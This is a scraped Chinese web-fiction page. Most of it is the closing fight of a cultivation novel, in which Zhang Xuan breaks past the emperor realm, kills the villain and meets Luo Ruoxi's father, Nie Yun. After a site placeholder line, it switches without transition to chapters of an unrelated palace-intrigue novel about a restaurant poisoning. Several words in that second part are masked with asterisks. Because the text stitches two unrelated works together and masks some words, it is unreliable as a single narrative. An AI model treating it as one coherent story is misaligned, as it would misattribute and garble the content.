为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十六章 各方反应 严大人眉头紧锁,立即派人去查探周边酒楼,很快有了发现。 “大人,福满楼有个小二在案发后突然离开,说是家中老母生病。”衙役快步走进,“但我们查过了,他根本没有母亲。” “去查实。”严大人站起身,在堂内来回踱步,“派人盯住那小二的去向,另外...”他顿了顿,“去查查最近谁买过**。” “是!” 天色渐暗,追查小二的衙役仍未归来。严大人望着窗外的夜色,心中隐隐有种不安。这案子远没有表面看起来那么简单。 而在玉华四方馆中。 司微澜听完青珑的禀报,嘴角勾起一抹冷笑。烛光映照下,她的脸庞显得格外妖艳。 “死者家属那边如何?”她漫不经心地把玩着手中的玉簪。 “已经按计划行事。”青珑低声道,“明日一早,他们就会去府衙**。” “很好。”司微澜站起身,走到窗前。夜风吹起她的衣袖,“去找死者家属,再给些银子,让他们闹得再大些。”她吩咐道,“记住,别露马脚。” 青云接到任务便离开,脚步轻盈得没有一丝声响。 司微澜转身走回内室,在案前坐下。桌上摆着一个精致的木盒,里面装着几个小瓷瓶。她轻轻打开其中一个,一股若有若无的香气飘散开来。 “这可是好东西啊。”她自言自语,“就是不知道,柳映雪能不能承受得住接下来的惊喜。” 二皇子司徽风快步穿过庭院,脚步匆忙地踏过青石板路。初晓的寒意还未完全散去,院中的梅花却已经凋零,只剩下零星几朵在枝头摇曳。 他来到司微澜的院落前,抬手正要敲门,却听见里面传来一阵轻微的响动。他略一犹豫,直接推门而入。 司微澜正坐在窗边的软榻上,手中把玩着一支精致的玉簪。听见开门声,她头也不抬,继续专注地欣赏着玉簪上的花纹。 “皇妹”司徽风快步走到她面前,眉头紧锁,“凤栖楼的事情,是你做的?” 司微澜这才抬起头,“二皇兄这是什么意思?”她的手指轻轻摩挲着玉簪,“难道在二皇兄眼里,我就是这般沉不住气的人?” “我不是这个意思。”司徽风叹了口气,在她对面坐下,“只是这件事来得太巧了。” 司微澜轻笑一声,眼底却没有丝毫笑意:“二皇兄,你也太小看我了。”她将玉簪放在桌上,发出清脆的响声,“区区毒死一个无名小卒,这种手段也配得上我?若是我要动手,必然是斩草除根,一击毙命。” 屋内的烛火摇曳,在墙上投下晃动的影子。司徽风注视着妹妹的脸,那张清丽的面容上看不出任何情绪波动。 “凤栖楼有摄政王府罩着,你可千万别轻举妄动。”司徽风压低声音提醒道。 “二皇兄放心,我心里有数。”司微澜唇角微勾。她站起身,走到窗前,望着院中光秃秃的梅枝,“我要的是柳映雪的命,若真是我出手,怎么可能只死一个无关紧要的人。” 夜色渐深,远处传来更夫打更的声音。司微澜忽然转过身,问道:“二皇兄这是从哪里回来?” “刚从外面回来。”司徽风揉了揉太阳穴,“凤栖楼的事情已经闹得沸沸扬扬,整个京都城都在议论。恰恰那柳大小姐还没回城,更是让这件事添了几分诡异。” “哦?”司微澜挑眉,“外面都在说些什么?” “坊间都在传,柳映雪母女失去了丞相府的庇护,如今势单力薄,连站出来说话都不敢。”司徽风顿了顿,“有人说她们母女心虚,所以躲着不敢露面。” 司微澜冷笑一声:“柳映雪那个人,向来都是伪装得楚楚可怜,博取同情。这次恐怕也不 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“不无可能。”西幽六皇子站起身,在房间里来回踱步,“凤栖楼是柳姑娘的心血,若有人要对付她,从这里下手再合适不过。” 东玉琳突然想到什么:“对了,听说今日城中又**一个人。” “什么人?”玉太子和西幽八幽生同时问道。 “是聚贤楼的一个小二,据说是回乡探亲时不慎落水身亡。”东玉琳皱眉道,“这个时间点,未免太巧了些。” 城中一处宁静的宅院内,五皇子萧云熙正站在书房中,手里拿着一封密信。烛光下,他的眉头紧锁。 “九皇叔应该已经知道这件事了。”他喃喃自语,“以九皇叔的性子,不会坐视不管。但若九皇叔不愿出手......” 他将密信扔进烛火中,看着纸张化为灰烬:“那就由我来查清真相。” 第一百三十七章 回京 第二日辰时,萧寒瑾与柳映雪终于赶回了京都城。两人一路疾行,连夜赶路,柳映雪的脸上难掩疲惫之色。 府衙内,府尹大人正在仔细梳理案情。他昨夜几乎未曾合眼,就是为了理清所有线索。 “大人。”一名衙役匆匆进来,“已经派人去传唤昨日给凤栖楼送定制酒樽茶盏的人了。” 府尹点点头:“这条线索虽然来得晚了些,但送货的人是唯一有机会接触膳厨的外人,一定要好好查问。” 正说着,又有两名衙役匆匆赶回,向府尹大人禀报:“大人,那聚贤楼的小二已经**。” “**?”府尹猛地站起身,“怎么回事?” “他回乡探望病重的老母,不慎落水身亡。当地已经验过尸,水池边也有滑倒的痕迹。” 府尹大人眉头紧皱:“确定是意外?可有其他可疑之处?” 衙役正要回答,忽见一男一女走进大堂。男子一身玄色锦袍,气势凛然;女子虽面带倦色,却依旧风姿绰约。 待看清男子的面容,府尹顿时一惊,连忙跪拜:“下官见过王爷。” 萧寒瑾神色清冷:“起来吧。”他转身指了指身边的女子,“这位是本王未来的王妃” 柳映雪向府尹行礼,声音温婉:“民女见过府尹大人。” “严大人,案情如何?”萧寒瑾开门见山地问道,声音中带着一丝不容置疑的威严。 府尹将案情经过详细禀报,从发现死者到验尸结果,一一道来。柳映雪听完后,眸光微动:“民女稍懂医术,想看看死者遗体。” “这......”府尹有些为难地看了看萧寒瑾。 萧寒瑾冷冷扫了他一眼,眼神中的警告不言而喻。 府尹心头一凛,连忙应道:“好,下官这就安排。”说完,他快步走出大堂,吩咐人准备。 柳映雪站在敛尸房门口,目光扫过那几具被白布覆盖的尸体。阴冷的风从走廊尽头吹来,带着几分刺骨的寒意,让她不由得紧了紧身上的衣衫。 空气中弥漫着一股特殊的气味,浓重而刺鼻,即便隔着老远都能闻到那股令人作呕的腐臭。几个值守的衙役捂着鼻子,脸色发白地站在一旁。 “王爷,您真要进去?”府尹脸上写满了担忧,声音都有些发颤,“这里...这里实在不是您该来的地方。” 